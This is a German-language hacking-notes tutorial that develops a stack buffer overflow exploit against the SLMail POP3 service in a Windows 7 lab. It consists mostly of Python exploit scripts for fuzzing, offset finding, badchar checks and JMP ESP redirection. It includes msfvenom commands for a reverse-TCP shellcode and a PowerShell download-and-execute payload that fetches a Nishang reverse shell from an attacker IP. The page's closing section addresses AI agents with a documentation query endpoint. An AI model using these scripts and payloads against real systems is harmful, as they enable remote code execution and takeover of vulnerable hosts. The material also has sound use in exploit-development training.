> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/useful-resources/exploit-development/windows-buffer-overflow-slmail.md). # Windows-Buffer-Overflow - SLMail SLMail-Windows-Buffer-Overflow-Notizen für POP3-Fuzzing, Offset-Findung, Auswahl von JMP ESP, Shellcode-Auslieferung und Exploit-Validierung.
Einrichtung der Buffer-Overflow-Umgebung 1. Lade die Maschine herunter [Windows 7 Basic 32 Bit](https://lecrabeinfo.net/telecharger/windows-7-edition-familiale-basique-sp1-x86): 2. Lade auf der Maschine den [Debugger ](https://www.immunityinc.com/products/debugger/): 3. Sobald du es installiert hast, führe den folgenden Befehl im Terminal aus: ```bash bcdedit.exe /set {current} nx AlwaysOff ``` 4. Kopiere dies [Skript ](https://www.immunityinc.com/products/debugger/)in eine a.py-Datei: 5. Füge das Skript ein in `c:/Program Files/Immunity Inc/Immunity Debugger/PyCommands` 6. Installiere schließlich [slmail](https://slmail.software.informer.com/download/): ![](https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a9d0ea004dcea6450cb50b8b4a9a97886daf210c%2FPasted%20image%2020231215185617.png?alt=media)
## Erste Fuzzing-Phase und Kontrolle des EIP-Registers: {% hint style="success" %} Während der ersten Phase der Ausnutzung eines Buffer Overflows bestehen die ersten Schritte darin, die Grenzen des Programms zu bestimmen. Dies geschieht, indem man das Einfügen von zusätzlichen Zeichen in verschiedene Eingabefelder des Programms testet, etwa Textzeichenfolgen oder Dateien, bis eine Manipulation oder ein Anwendungsfehler erkannt wird. Sobald die Grenze des Eingabefelds identifiziert ist, besteht der nächste Schritt darin, den Offset (Offset) zu ermitteln, also die genaue Anzahl der Zeichen, die erforderlich sind, um eine Veränderung im Programm zu verursachen und außerdem den Wert des EIP-Registers (Extended Instruction Pointer) zu überschreiben. Dieses Register, das auf die Speicheradresse der nächsten auszuführenden Anweisung zeigt, ist entscheidend. Bei einer erfolgreichen Ausnutzung des Buffer Overflows wird sein Wert durch eine vom Angreifer kontrollierte Adresse ersetzt, wodurch die Ausführung von Schadcode ermöglicht wird. Das Ziel bei der Bestimmung des Offsets besteht also darin, die genaue Anzahl von Zeichen anzugeben, die eingefügt werden müssen, um den Wert des EIP-Registers zu überschreiben und dadurch auf die vom Angreifer kontrollierte Speicheradresse zu verweisen. Mit diesen Informationen kannst du einen eigenen Exploit für das Zielprogramm entwerfen, dabei ebenfalls das EIP-Register kontrollieren und die Ausführung von Schadcode ermöglichen. {% endhint %} * Im Immunity Debugger wählen wir SL mail aus:
* Wir werden nun ein Python-Skript erstellen, das die Entdeckung der Anzahl der Bytes automatisiert, die notwendig sind, um einen Absturz des Programms zu verursachen. ```python #!/usr/bin/python3 import socket import sys if len(sys.argv) != 2: print("/n[!] Verwendung: exploit.py ") exit(1) ip_address = "192.168.71.139" port = 110 total_length = int(sys.argv[1]) def exploit(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip_address, port)) banner = s.recv(1024) s.send(b"USER jordan" + b'/r/n') response = s.recv(1024) s.send(b"PASS " + b"A"*total_length + b' /r/n') s.close() if __name__ == '__main__': exploit() ```
Da wir unter Windows sind, verwenden wir ein Tool aus Metasploit. ```bash /usr/share/metasploit-framework/tools/exploit/pattern_create.rb ``` Beispiel mit 5000 Zeichen:
```python #!/usr/bin/python3 import socket import sys ip_address = "192.168.71.139" port = 110 payload = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk def exploit(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip_address, port)) banner = s.recv(1024) s.send(b"USER jordan" + b'/r/n') response = s.recv(1024) s.send(b"PASS " + payload + b' /r/n') s.close() if __name__ == '__main__': exploit() ``` * Der Dienst ist abgestürzt, aber was uns interessiert, ist der EIP-Wert:
* Mit dem folgenden Skript ebenfalls aus Metasploit übergeben wir dies, den EIP, und es berechnet die maximale Anzahl möglicher Pufferzeichen: `/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb`
* Sobald wir also den Offset kennen, wird das folgende Skript 4 B-Zeichen einfügen, um zu sehen, ob es funktioniert oder nicht: ```python #!/usr/bin/python3 import socket import sys ip_address = "192.168.71.139" port = 110 offset = 4654 before_eip = b"A"* offset eip = b"B"*4 payload = before_eip + eip def exploit(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip_address, port)) banner = s.recv(1024) s.send(b"USER jordan" + b'/r/n') response = s.recv(1024) s.send(b"PASS " + payload + b' /r/n') s.close() if __name__ == '__main__': exploit() ``` \*Wir sehen, dass der EIP viermal dem Buchstaben B entspricht (42424242):
## Speicherzuweisung für Shellcode: {% hint style="success" %} Sobald der Offset gefunden wurde und der Wert des EIP-Registers während eines Buffer Overflows überschrieben wurde, besteht der nächste Schritt darin, im Speicher die Darstellung der in das Eingabefeld eingegebenen Zeichen zu lokalisieren. Nach dieser Veränderung des EIP-Registers werden zusätzliche Zeichen, die in das Eingabefeld eingefügt wurden, am Anfang des Stacks im ESP-Register (Extended Stack Pointer) identifiziert, wie im Immunity Debugger zu sehen ist. ESP, ein CPU-Register, verwaltet den Stack in einem Programm, einem temporären Speicherbereich, in dem die Werte und die Adressen zum Zurückkehren der Funktionen gespeichert werden. Der nächste Schritt besteht in der Einschleusung eines Shellcodes, also von Anweisungen auf Basisebene, die einer schädlichen Aktion entsprechen, an dem Ort, an dem er identifiziert wird. Der Shellcode wird im Stack an der Stelle abgelegt, an der sich die veränderten Zeichen befinden, wobei ebenfalls der Buffer Overflow ausgenutzt wird, um den Schadcode auszuführen und die Kontrolle über das System zu übernehmen. Es ist wichtig, den Shellcode mit Vorsicht zu entwerfen, um jede Erkennung von Schadcode zu vermeiden und die Kompatibilität mit der CPU-Architektur und dem Zielsystem für den Exploit zu gewährleisten. Zusammenfassend erfordert die Speicherzuweisung für den Shellcode eine präzise Identifizierung des Speicherorts der anderen Zeichen im Buffer Overflow, gefolgt von einer strategischen Einschleusung des schädlichen Shellcodes. Bei der Gestaltung des Shellcodes muss jedoch die Erkennung unerwünschter Zeichen (Badchars) berücksichtigt werden, und im nächsten Schritt werden wir erläutern, wie man sie erkennt und Shellcode erzeugt, der frei von diesen Elementen ist. {% endhint %} Jetzt sehen wir mit dem folgenden Skript, was passiert, wenn wir nach EIP keinen Pufferüberlauf erzeugen oder wenn der gesamte Inhalt im Speicher liegt (auf dem Stapel): ```python #!/usr/bin/python3 import socket import sys ip_address = "192.168.71.139" port = 110 offset = 4654 before_eip = b"A"* offset eip = b"B"*4 after_eip = b"C"*200 payload = before_eip + eip + after_eip def exploit(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip_address, port)) banner = s.recv(1024) s.send(b"USER jordan" + b'/r/n') response = s.recv(1024) s.send(b"PASS " + payload + b' /r/n') s.close() if __name__ == '__main__': exploit() ```
Wenn wir links mit follow in dump weitere Informationen ansehen:
## Erzeugung von Bytearrays und Erkennung von Badchars: {% hint style="success" %} Beim Erstellen von Schadcode zur Ausnutzung des Buffer Overflows kann es sein, dass das Zielprogramm bestimmte Bytes, bekannt als Badchars, nicht interpretieren kann. Diese Bytes können den Shellcode beschädigen oder das Programm unerwartet abstürzen lassen. Um dies zu vermeiden, identifiziere und entferne Badchars vor der Generierung des endgültigen Payloads. Mit Immunity Debugger und Mona erzeugst du ein vollständiges Bytearray, sendest es durch den verwundbaren Puffer und vergleichst die Bytes, die im ESP landen. Jedes Byte, das fehlt oder verändert wurde, muss aus dem endgültigen Shellcode ausgeschlossen werden. {% endhint %} \*Wir verwenden den folgenden Befehl, um mit Mona auf dem Desktop einen Arbeitsordner zu erstellen: 
!mona config -set workingfolder C:/Users/Jordan/Desktop/Analysis
* Mit dem folgenden Befehl werden die Dateien erstellt: ``` !mona bytearray -cpb '/x00' ```
* Um die Dateien zu übertragen, können wir mit dem folgenden Befehl einen SMB-Server erstellen: 
impacket-smbserver smbFolder $(pwd) -smb2support
* Im Datei-Explorer geben wir die IP-Adresse ein und fügen die erstellte Bytearray-Datei ein:
* Nun muss dieser String in das Skript eingefügt werden (wobei jeder Zeile ein 'b' hinzugefügt wird, um anzugeben, dass sie im Byte-Modus ist):
* Python-Skript: ```python #!/usr/bin/python3 import socket import sys ip_address = "192.168.71.139" port = 110 offset = 4654 before_eip = b"A" * offset eip = b"B" * 4 after_eip = (b"/x01/x02/x03/x04/x05/x06/x07/x08/x09/x0a/x0b/x0c/x0d/x0e/x0f/x10/x11/x12/x13/x14/x15/x16/x17/x18/x19/x1a/x1b/x1c/x1d/x1e/x1f/x20" b"/x21/x22/x23/x24/x25/x26/x27/x28/x29/x2a/x2b/x2c/x2d/x2e/x2f/x30/x31/x32/x33/x34/x35/x36/x37/x38/x39/x3a/x3b/x3c/x3d/x3e/x3f/x40" b"/x41/x42/x43/x44/x45/x46/x47/x48/x49/x4a/x4b/x4c/x4d/x4e/x4f/x50/x51/x52/x53/x54/x55/x56/x57/x58/x59/x5a/x5b/x5c/x5d/x5e/x5f/x60" b"/x61/x62/x63/x64/x65/x66/x67/x68/x69/x6a/x6b/x6c/x6d/x6e/x6f/x70/x71/x72/x73/x74/x75/x76/x77/x78/x79/x7a/x7b/x7c/x7d/x7e/x7f/x80" b"/x81/x82/x83/x84/x85/x86/x87/x88/x89/x8a/x8b/x8c/x8d/x8e/x8f/x90/x91/x92/x93/x94/x95/x96/x97/x98/x99/x9a/x9b/x9c/x9d/x9e/x9f/xa0" b"/xa1/xa2/xa3/xa4/xa5/xa6/xa7/xa8/xa9/xaa/xab/xac/xad/xae/xaf/xb0/xb1/xb2/xb3/xb4/xb5/xb6/xb7/xb8/xb9/xba/xbb/xbc/xbd/xbe/xbf/xc0" b"/xc1/xc2/xc3/xc4/xc5/xc6/xc7/xc8/xc9/xca/xcb/xcc/xcd/xce/xcf/xd0/xd1/xd2/xd3/xd4/xd5/xd6/xd7/xd8/xd9/xda/xdb/xdc/xdd/xde/xdf/xe0" b"/xe1/xe2/xe3/xe4/xe5/xe6/xe7/xe8/xe9/xea/xeb/xec/xed/xee/xef/xf0/xf1/xf2/xf3/xf4/xf5/xf6/xf7/xf8/xf9/xfa/xfb/xfc/xfd/xfe/xff") payload = before_eip + eip + after_eip def exploit(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip_address, port)) banner = s.recv(1024) s.send(b"USER jordan" + b'/r/n') response = s.recv(1024) s.send(b"PASS " + payload + b' /r/n') s.close() if __name__ == '__main__': exploit() ``` * Wir führen im Dump des ESP ein Follow durch:
* Dort können wir die unerwünschten Zeichen sehen (die er nicht interpretieren kann): Wir zeigen nun den folgenden Befehl mit der ESP-Nummer (vorangestellt von 0x und dem Vergleich mit bytearray.bin) an, um die Zeichen zu sehen, die korrekt interpretiert werden können: 
!mona compare -a 0x00E8A128 -f C:/Users/Jordan/Desktop/Analysis/bytearray.bin
* Mit diesem Befehl geben wir an, dass unerwünschte Zeichen nicht aus der Bytearray-Datei entfernt werden sollen: ``` !mona bytearray -cpb '/x00/x0a' ```
* Wir wiederholen es und es erkennt neue unerwünschte Zeichen: 
!mona compare -a 0x0210A128 -f C:/Users/Jordan/Desktop/Analysis/bytearray.bin
\*Und wir aktualisieren die Bytearray erneut: ``` !mona bytearray -cpb '/x00/x0a/x0d' ```
* Wenn wir es erneut tun, erscheint kein Fehler mehr:
## Suche nach Opcodes, um auf den ESP zuzugreifen und unseren Shellcode zu laden: {% hint style="success" %} Nachdem der Shellcode erzeugt und die Badchars identifiziert wurden, leite den Ausführungsfluss zum Shellcode um. Das Ziel besteht darin, EIP mit einer Speicheradresse zu überschreiben, die eine `JMP ESP` Anweisung enthält, da sich der Shellcode im ESP befindet und EIP nicht zuverlässig direkt darauf zeigen kann. Verwende Werkzeuge wie `mona.py` um geladene Module nach einem verwendbaren `JMP ESP` Opcode zu durchsuchen. Sobald die Adresse gefunden ist, platziere sie in EIP, damit die Ausführung zu ESP springt und den Shellcode ausführt. {% endhint %} * Der folgende Befehl erzeugt einen Windows-x86-Shellcode, der eine Reverse-TCP-Verbindung zur IP-Adresse 192.168.71.128 auf Port 443 verwendet, mit einer shikata/\_ga/\_nai-Kodierung und unter Ausschluss von Badchars. ```css msfvenom -p windows/shell_reverse_tcp --platform windows -a x86 LHOST=192.168.71.128 LPORT=443 -f c -e x86/shikata_ga_nai -b '/x00/x0a/x0d' EXITFUNC=thread ```
* Jetzt, mit dem **!mona modules** Befehl suchen wir nach einem ungeschützten Modul, dessen Wert falsch ist:
* Wir suchen nach einem jmp esp, was zu "/xFF/xE4" übersetzt würde:
* Mit dem folgenden Befehl sollten wir eines dieser Module ohne Schutz und ohne Badchar auswählen:
* In diesem Fall wählen wir das letzte aus, nämlich "0x5f4c4d13". Wir werden einen Haltepunkt erstellen, um zu prüfen, ob der Programmfluss korrekt darüber läuft:
* Mit diesem Skript werden wir es schaffen, den EIP auf den für uns interessanten Wert zu ändern: ```python #!/usr/bin/python3 from struct import pack import socket import sys ip_address = "192.168.71.139" port = 110 offset = 4654 before_eip = b"A" * offset eip = pack("
* Wenn wir nun dem ESP-Dump folgen, würde der Shellcode dargestellt werden:
## Verwendung von NOPs, Stack-Platzierungen und Shellcode-Interpretation, um eine RCE (Remote Code Execution) zu erhalten. * Er interpretiert es für uns nicht:
* Jetzt ändern wir das Skript, indem wir diesen NOP auf folgende Weise hinzufügen:
* Endgültiges Skript: ```python #!/usr/bin/python3 from struct import pack import socket import sys ip_address = "192.168.71.139" port = 110 offset = 4654 before_eip = b"A" * offset eip = pack("
## Anpassung des Shellcodes, um den Befehl zu kontrollieren, den du ausführen kannst: {% hint style="success" %} Neben Reverse-Shell-Payloads kann der `windows/exec` Payload einen Befehl direkt über die `CMD` Option einbetten. Dadurch wird Shellcode erstellt, der beim Ausführen den gewählten Befehl ausführt. Generiere ihn mit `msfvenom -p windows/exec CMD=""`, dann nutze dieselbe Buffer-Overflow-Technik, um EIP zu überschreiben und die Ausführung zum Shellcode umzuleiten. {% endhint %} * Lade dies herunter [Skript ](https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1)und benenne es PS.ps1 Füge dies am Ende des Skripts hinzu: `PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.71.128 -Port 443` * Erzeuge den Shellcode: ```bash msfvenom -p windows/exec CMD="powershell IEX(New-Object Net.WebClient).downloadString('http://192.168.71.128/PS.ps1')" --platform windows -a x86 -f c -e x86/shikata_ga_nai -b '/x00/x0a/x0d' EXITFUNC=thread ```
* Aktualisiertes Skript: ```python #!/usr/bin/python3 from struct import pack import socket import sys ip_address = "192.168.71.139" port = 110 offset = 4654 before_eip = b"A" * offset eip = pack("
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/de/useful-resources/exploit-development/windows-buffer-overflow-slmail.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.